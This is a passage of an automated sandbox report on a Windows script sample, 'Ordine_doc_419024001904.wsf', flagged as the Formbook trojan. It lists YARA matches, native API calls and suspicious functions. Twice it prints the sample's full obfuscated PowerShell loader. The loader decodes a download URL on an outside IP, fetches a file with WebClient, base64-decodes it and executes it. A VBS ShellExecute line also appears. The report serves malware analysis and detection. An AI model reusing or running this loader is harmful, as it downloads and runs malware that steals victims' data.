Source: 0000000D.00000002.3227790923.0000000000DC0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000C.00000002.3227854878.0000000002F40000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000B.00000002.3228055880.00000000026B0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000009.00000002.2685647197.0000000002E40000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: Process Memory Space: powershell.exe PID: 2568, type: MEMORYSTR Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 4320, type: MEMORYSTR Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Potential malicious VBS script found (suspicious strings)
Source: Initial file: Call Locutoria.ShellExecute("P" & Imposthumate & ".e" + "xe", Coruscates, "", "", Haldu)
Very long command line found
Source: C:\Windows\System32\wscript.exe Process created: Commandline size = 2985
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: Commandline size = 2985
Source: C:\Windows\System32\wscript.exe Process created: Commandline size = 2985 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: Commandline size = 2985 Jump to behavior
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Source: C:\Windows\System32\wscript.exe COM Object queried: WBEM Locator HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24} Jump to behavior
Source: C:\Windows\System32\wscript.exe COM Object queried: Windows Management and Instrumentation HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820} Jump to behavior
Source: C:\Windows\System32\wscript.exe COM Object queried: Shell Automation Service HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{13709620-C279-11CE-A49E-444553540000} Jump to behavior
Wscript starts Powershell (via cmd or directly)
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Offence = 1;$Rabbitriesnterimsstyre='Substrin';$Rabbitriesnterimsstyre+='g';Function adskilligt($Tegnedatabasen){$Bejig=$Tegnedatabasen.Length-$Offence;For($Rabbitries=1; $Rabbitries -lt $Bejig; $Rabbitries+=(2)){$Foundlings+=$Tegnedatabasen.$Rabbitriesnterimsstyre.Invoke($Rabbitries, $Offence);}$Foundlings;}function Apalachicola($Specieskbenes){&($milleardtedele) ($Specieskbenes);}$Folkedemokrati=adskilligt 'IMHoAzAi.l l,aO/ 5 .T0W S(,W,iUn,dgoBw,sH SNDTe .1H0P.G0,; RWPi nN6R4 ;N xM6T4K;, CrUv :R1M2G1 . 0C) BGVe,cEkBo,/,2 0,1,0 0E1L0 1, LFUiTr.enfko,xs/ 1A2U1Y.,0L ';$Godsterminalers=adskilligt 'hUPsMe rT-.AAgUe,n tG ';$Discredit=adskilligt 'Ghtt tJp :M/,/.8,7F. 1.2,1..U1 0 5S.M1A6P3C/ AKc a riiFa,t,r eA4S3,. cbhBm ';$Trlbundnes=adskilligt ' >M ';$milleardtedele=adskilligt 'TiUe.x ';$Phillipeener = adskilligt ' eScSh oS R%HaUp pEd ast aL%,\ B.aBl lHe pNrAeUsFs e r.e.s,. IfnNe K&E&M We.cAhSok .$ ';Apalachicola (adskilligt ' $MgRlFoUb aKl :MGMeBrCmKiEf.uUgBe.= (,cTmHdV /HcE .$UP hTiUl.lPiUpPe eSn.eDrA), ');Apalachicola (adskilligt 's$,g l,o b aKlv:IBAaFrFrFa m uTnMdpaZsP= $ D i sNcUr eVd iFtS.TsLpSlDiTtU( $,T.r lFb,uEn dQn eNs )S ');$Discredit=$Barramundas[0];Apalachicola (adskilligt 'p$ gEl.oKbTaNlF: o,vUerr gBe nKe.r a.l i z iUnRg =,N,eSw -.O b jTe cUtP .SFyus.tBevmD. N eEtG.sWBeFbOC.lKi eSnFt ');Apalachicola (adskilligt 'W$ o.v e.rLgMeMn.eUrJaGlDiPz iPn gP. H eNaGdAe,rDsA[ $PGEo d sPtAe.r,mBiMnUa lje,r sA]T=U$.F o.l kSeRd e,mGoOkFrPa tPi ');$Lordlily=adskilligt 'DoRv eArHgueRn.eSrKaSl iDzPiGn g .,DSoTwFn,l.oBaRd F iSlHeP( $ D i,sBc rSe.dHittK,I$,O z,oPn.iTc,), ';$Lordlily=$Germifuge[1]+$Lordlily;$Ozonic=$Germifuge[0];Apalachicola (adskilligt 'n$,g.l oSb a.la:Rf,eTrKsTk vLa n d,e n,eB=C(,T eVsSt -WPEa tIh $MO z,oEn,iWc ) ');while (!$ferskvandene) {Apalachicola (adskilligt ' $ g lVo bOaHl :FcRoum.p l e,m e,nAt eIr.= $ tJr u eB ') ;Apalachicola $Lordlily;Apalachicola (adskilligt ' S.t a,rRtM- SDlLeNe.p 4T ');Apalachicola (adskilligt ' $Fg l,o b a l :Ff,e r sTkAv a nOd.eTn e,= (TTSe.s t -LPTaLtHh C$SO zBo.nIiOcA) ') ;Apalachicola (adskilligt 'U$ g l o bHaKl : E n eMr,vSeTrTeS=R$BgSl oBb.a.lH:FT eOr m o m eMtEr.e.n.eF+,+ % $ BPa r r a m uBnAdNa s .ScKoBuCn ts ') ;$Discredit=$Barramundas[$Enervere];}Apalachicola (adskilligt 'u$SgOlWo,bCaNl : FTiTrTeFlTo c kLs ,=. UG eTtT-OC,o nRtle,nAt $FO,z o.nEiIcA ');Apalachicola (adskilligt ',$Cg l oAbpaClP: LHiPt tPe rHa t uMrIl i.s t e nE1U4N M=D [.S.y.s.tKe mr.,CIo,nTv e r,t,]F:D: F rAo.m.B a.sSeB6T4,SEt rSiSn g,( $MF iGrRePlio cSk sM)N ');Apalachicola (adskilligt 'G$Jg,lLoGbDaTl :sV eEr b iBg eVr a tHi n.gB B=A [RSWyEs.t e,ms. TLefx tC. EKn cNoOdEitnMg ],:K:KA SPC IUIT. G,eCt S tNrmi nPg (U$ LAiGtEt e rvaEt uMrRl i.sTt e ne1B4.)S ');Apalachicola (adskilligt 'N$.g.lMoVboaSl.: Kta r r i e r e.r nDeS1 5 8S= $OV eRrPbAi g e,r aQt,i,nHgN. sBuRb sHtMr iPnRgL( 3 3B6T3 9 4,,.2B5
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Offence = 1;$Rabbitriesnterimsstyre='Substrin';$Rabbitriesnterimsstyre+='g';Function adskilligt($Tegnedatabasen){$Bejig=$Tegnedatabasen.Length-$Offence;For($Rabbitries=1; $Rabbitries -lt $Bejig; $Rabbitries+=(2)){$Foundlings+=$Tegnedatabasen.$Rabbitriesnterimsstyre.Invoke($Rabbitries, $Offence);}$Foundlings;}function Apalachicola($Specieskbenes){&($milleardtedele) ($Specieskbenes);}$Folkedemokrati=adskilligt 'IMHoAzAi.l l,aO/ 5 .T0W S(,W,iUn,dgoBw,sH SNDTe .1H0P.G0,; RWPi nN6R4 ;N xM6T4K;, CrUv :R1M2G1 . 0C) BGVe,cEkBo,/,2 0,1,0 0E1L0 1, LFUiTr.enfko,xs/ 1A2U1Y.,0L ';$Godsterminalers=adskilligt 'hUPsMe rT-.AAgUe,n tG ';$Discredit=adskilligt 'Ghtt tJp :M/,/.8,7F. 1.2,1..U1 0 5S.M1A6P3C/ AKc a riiFa,t,r eA4S3,. cbhBm ';$Trlbundnes=adskilligt ' >M ';$milleardtedele=adskilligt 'TiUe.x ';$Phillipeener = adskilligt ' eScSh oS R%HaUp pEd ast aL%,\ B.aBl lHe pNrAeUsFs e r.e.s,. IfnNe K&E&M We.cAhSok .$ ';Apalachicola (adskilligt ' $MgRlFoUb aKl :MGMeBrCmKiEf.uUgBe.= (,cTmHdV /HcE .$UP hTiUl.lPiUpPe eSn.eDrA), ');Apalachicola (adskilligt 's$,g l,o b aKlv:IBAaFrFrFa m uTnMdpaZsP= $ D i sNcUr eVd iFtS.TsLpSlDiTtU( $,T.r lFb,uEn dQn eNs )S ');$Discredit=$Barramundas[0];Apalachicola (adskilligt 'p$ gEl.oKbTaNlF: o,vUerr gBe nKe.r a.l i z iUnRg =,N,eSw -.O b jTe cUtP .SFyus.tBevmD. N eEtG.sWBeFbOC.lKi eSnFt ');Apalachicola (adskilligt 'W$ o.v e.rLgMeMn.eUrJaGlDiPz iPn gP. H eNaGdAe,rDsA[ $PGEo d sPtAe.r,mBiMnUa lje,r sA]T=U$.F o.l kSeRd e,mGoOkFrPa tPi ');$Lordlily=adskilligt 'DoRv eArHgueRn.eSrKaSl iDzPiGn g .,DSoTwFn,l.oBaRd F iSlHeP( $ D i,sBc rSe.dHittK,I$,O z,oPn.iTc,), ';$Lordlily=$Germifuge[1]+$Lordlily;$Ozonic=$Germifuge[0];Apalachicola (adskilligt 'n$,g.l oSb a.la:Rf,eTrKsTk vLa n d,e n,eB=C(,T eVsSt -WPEa tIh $MO z,oEn,iWc ) ');while (!$ferskvandene) {Apalachicola (adskilligt ' $ g lVo bOaHl :FcRoum.p l e,m e,nAt eIr.= $ tJr u eB ') ;Apalachicola $Lordlily;Apalachicola (adskilligt ' S.t a,rRtM- SDlLeNe.p 4T ');Apalachicola (adskilligt ' $Fg l,o b a l :Ff,e r sTkAv a nOd.eTn e,= (TTSe.s t -LPTaLtHh C$SO zBo.nIiOcA) ') ;Apalachicola (adskilligt 'U$ g l o bHaKl : E n eMr,vSeTrTeS=R$BgSl oBb.a.lH:FT eOr m o m eMtEr.e.n.eF+,+ % $ BPa r r a m uBnAdNa s .ScKoBuCn ts ') ;$Discredit=$Barramundas[$Enervere];}Apalachicola (adskilligt 'u$SgOlWo,bCaNl : FTiTrTeFlTo c kLs ,=. UG eTtT-OC,o nRtle,nAt $FO,z o.nEiIcA ');Apalachicola (adskilligt ',$Cg l oAbpaClP: LHiPt tPe rHa t uMrIl i.s t e nE1U4N M=D [.S.y.s.tKe mr.,CIo,nTv e r,t,]F:D: F rAo.m.B a.sSeB6T4,SEt rSiSn g,( $MF iGrRePlio cSk sM)N ');Apalachicola (adskilligt 'G$Jg,lLoGbDaTl :sV eEr b iBg eVr a tHi n.gB B=A [RSWyEs.t e,ms. TLefx tC. EKn cNoOdEitnMg ],:K:KA SPC IUIT. G,eCt S tNrmi nPg (U$ LAiGtEt e rvaEt uMrRl i.sTt e ne1B4.)S ');Apalachicola (adskilligt 'N$.g.lMoVboaSl.: Kta r r i e r e.r nDeS1 5 8S= $OV eRrPbAi g e,r aQt,i,nHgN. sBuRb sHtMr iPnRgL( 3 3B6T3 9 4,,.2B5 Jump to behavior
Contains functionality to call native functions
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207735C0 NtCreateMutant,LdrInitializeThunk, 9_2_207735C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20772B60 NtClose,LdrInitializeThunk, 9_2_20772B60
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20772C70 NtFreeVirtualMemory,LdrInitializeThunk, 9_2_20772C70
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20772DF0 NtQuerySystemInformation,LdrInitializeThunk, 9_2_20772DF0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20773010 NtOpenDirectoryObject, 9_2_20773010
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20773090 NtSetValueKey, 9_2_20773090
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20774340 NtSetContextThread, 9_2_20774340
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20774650 NtSuspendThread, 9_2_20774650
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207739B0 NtGetContextThread, 9_2_207739B0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20772AF0 NtWriteFile, 9_2_20772AF0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20772AD0 NtReadFile, 9_2_20772AD0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20772AB0 NtWaitForSingleObject, 9_2_20772AB0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20772BF0 NtAllocateVirtualMemory, 9_2_20772BF0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20772BE0 NtQueryValueKey, 9_2_20772BE0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20772BA0 NtEnumerateValueKey, 9_2_20772BA0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20772B80 NtQueryInformationFile, 9_2_20772B80
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20772C60 NtCreateKey, 9_2_20772C60
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20772C00 NtQueryInformationProcess, 9_2_20772C00
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20772CF0 NtOpenProcess, 9_2_20772CF0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20772CC0 NtQueryVirtualMemory, 9_2_20772CC0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20772CA0 NtQueryInformationToken, 9_2_20772CA0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20773D70 NtOpenThread, 9_2_20773D70
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20772D30 NtUnmapViewOfSection, 9_2_20772D30
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20773D10 NtOpenProcessToken, 9_2_20773D10
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20772D10 NtMapViewOfSection, 9_2_20772D10
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20772D00 NtSetInformationFile, 9_2_20772D00
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20772DD0 NtDelayExecution, 9_2_20772DD0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20772DB0 NtEnumerateKey, 9_2_20772DB0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20772E30 NtWriteVirtualMemory, 9_2_20772E30
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20772EE0 NtQueueApcThread, 9_2_20772EE0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20772EA0 NtAdjustPrivilegesToken, 9_2_20772EA0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20772E80 NtReadVirtualMemory, 9_2_20772E80
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20772F60 NtCreateProcessEx, 9_2_20772F60
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20772F30 NtCreateSection, 9_2_20772F30
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20772FE0 NtCreateFile, 9_2_20772FE0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20772FB0 NtResumeThread, 9_2_20772FB0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20772FA0 NtQuerySection, 9_2_20772FA0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20772F90 NtProtectVirtualMemory, 9_2_20772F90
Detected potential crypto function
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_00007FF848F3B196 2_2_00007FF848F3B196
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_00007FF848F3BF42 2_2_00007FF848F3BF42
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 5_2_00AFF258 5_2_00AFF258
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 5_2_00AFFB28 5_2_00AFFB28
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 5_2_00AF2E3D 5_2_00AF2E3D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 5_2_00AFEF10 5_2_00AFEF10
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207F70E9 9_2_207F70E9
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207FF0E0 9_2_207FF0E0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207EF0CC 9_2_207EF0CC
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207470C0 9_2_207470C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2072F172 9_2_2072F172
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2077516C 9_2_2077516C
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207C8158 9_2_207C8158
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_208001AA 9_2_208001AA
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207DA118 9_2_207DA118
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20730100 9_2_20730100
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207F81CC 9_2_207F81CC
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2074B1B0 9_2_2074B1B0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2080B16B 9_2_2080B16B
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207E0274 9_2_207E0274
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207E12ED 9_2_207E12ED
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2075B2C0 9_2_2075B2C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207452A0 9_2_207452A0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207FA352 9_2_207FA352
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2072D34C 9_2_2072D34C
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207F132D 9_2_207F132D
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_208003E6 9_2_208003E6
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2074E3F0 9_2_2074E3F0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2078739A 9_2_2078739A
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20731460 9_2_20731460
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207F2446 9_2_207F2446
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207FF43F 9_2_207FF43F
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207EE4F6 9_2_207EE4F6
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207F7571 9_2_207F7571
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20800591 9_2_20800591
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20740535 9_2_20740535
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207DD5B0 9_2_207DD5B0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2075C6E0 9_2_2075C6E0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207F16CC 9_2_207F16CC
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20740770 9_2_20740770
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20764750 9_2_20764750
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2073C7C0 9_2_2073C7C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207FF7B0 9_2_207FF7B0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20742840 9_2_20742840
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2074A840 9_2_2074A840
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207AD800 9_2_207AD800
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2076E8F0 9_2_2076E8F0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207438E0 9_2_207438E0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207268B8 9_2_207268B8
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20756962 9_2_20756962
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20749950 9_2_20749950
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2075B950 9_2_2075B950
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2080A9A6 9_2_2080A9A6
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207429A0 9_2_207429A0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207B3A6C 9_2_207B3A6C
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207FFA49 9_2_207FFA49
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207F7A46 9_2_207F7A46
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207EDAC6 9_2_207EDAC6
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207DDAAC 9_2_207DDAAC
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20785AA0 9_2_20785AA0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2073EA80 9_2_2073EA80
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207FFB76 9_2_207FFB76
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207FAB40 9_2_207FAB40
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207B5BF0 9_2_207B5BF0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2077DBF9 9_2_2077DBF9
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207F6BD7 9_2_207F6BD7
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20709B80 9_2_20709B80
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2075FB80 9_2_2075FB80
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207B9C32 9_2_207B9C32
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20740C00 9_2_20740C00
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20730CF2 9_2_20730CF2
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207FFCF2 9_2_207FFCF2
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207E0CB5 9_2_207E0CB5
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207F7D73 9_2_207F7D73
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207F1D5A 9_2_207F1D5A
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20743D40 9_2_20743D40
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2074AD00 9_2_2074AD00
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2073ADE0 9_2_2073ADE0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2075FDC0 9_2_2075FDC0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20758DBF 9_2_20758DBF
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20740E59 9_2_20740E59
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207FEE26 9_2_207FEE26
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207FEEDB 9_2_207FEEDB
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20749EB0 9_2_20749EB0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20752E90 9_2_20752E90
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207FCE93 9_2_207FCE93
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207B4F40 9_2_207B4F40
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20760F30 9_2_20760F30
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20782F28 9_2_20782F28
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207FFF09 9_2_207FFF09
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2074CFE0 9_2_2074CFE0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20703FD2 9_2_20703FD2
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20703FD5 9_2_20703FD5
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20732FC8 9_2_20732FC8
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207FFFB1 9_2_207FFFB1
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20741F92 9_2_20741F92
Found potential string decryption / allocating functions
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: String function: 20787E54 appears 96 times
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: String function: 207BF290 appears 103 times
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: String function: 2072B970 appears 268 times
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: String function: 20775130 appears 36 times
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: String function: 207AEA12 appears 82 times
Java / VBScript file with very long strings (likely obfuscated code)
Source: Ordine_doc_419024001904.wsf Initial sample: Strings found which are bigger than 50
Yara signature match
Source: amsi32_4320.amsi.csv, type: OTHER Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: 00000009.00000002.2706108024.0000000020A50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000C.00000002.3227805976.0000000002F00000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000C.00000002.3226812010.0000000002900000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000D.00000002.3227790923.0000000000DC0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000C.00000002.3227854878.0000000002F40000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
